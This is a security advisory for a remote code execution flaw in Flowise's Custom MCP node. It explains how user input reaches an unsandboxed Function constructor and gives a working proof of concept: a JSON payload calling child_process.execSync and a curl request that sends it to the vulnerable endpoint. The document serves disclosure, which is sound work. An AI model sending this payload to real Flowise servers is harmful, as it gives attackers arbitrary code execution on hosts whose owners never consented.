GHSA-hmgh-466j-fx4c
Flowise vulnerable to RCE via Dynamic function constructor injection
상세
### Summary User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
### Details When creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure: ```json { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"] } ```
Behind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity): ```json { ...SNIP...
"inputs":{ "mcpServerConfig":{ "command":"npx", "args":[ "-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files" ] } }, "loadMethod":"listActions" ...SNIP... } ```
Sending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example: ```json { "inputs":{ "mcpServerConfig":"test" }, "loadMethod":"listActions" } ```
We enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103
```typescript async getTools(nodeData: INodeData): Promise<Tool[]> { const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string
if (!mcpServerConfig) { throw new Error('MCP Server Config is required') }
try { let serverParams if (typeof mcpServerConfig === 'object') { serverParams = mcpServerConfig } else if (typeof mcpServerConfig === 'string') { const serverParamsString = convertToValidJSONString(mcpServerConfig) <-- serverParams = JSON.parse(serverParamsString) }
const toolkit = new MCPToolkit(serverParams, 'stdio') await toolkit.initialize()
const tools = toolkit.tools ?? []
return tools as Tool[] } catch (error) { throw new Error(`Invalid MCP Server Config: ${error}`) } } } ```
Here, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:
```typescript function convertToValidJSONString(inputString: string) { try { const jsObject = Function('return ' + inputString)() return JSON.stringify(jsObject, null, 2) } catch (error) { console.error('Error converting to JSON:', error) return '' } } ```
This JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.
This enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution. ```json { "inputs":{ "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))" }, "loadMethod":"listActions" } ``` ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"}, "loadMethod":"listActions"} ```
3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ```
4. Observe that a new file named `yofitofi` is created under `/tmp` folder. ### Impact Remote code execution
## Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
이 버전이 영향받나요?
사용 중인 패키지 버전을 입력하면 즉시 평가합니다.
영향 패키지
0 No fixed version published yet for flowise (npm). Pin to a known-safe version or switch to an alternative.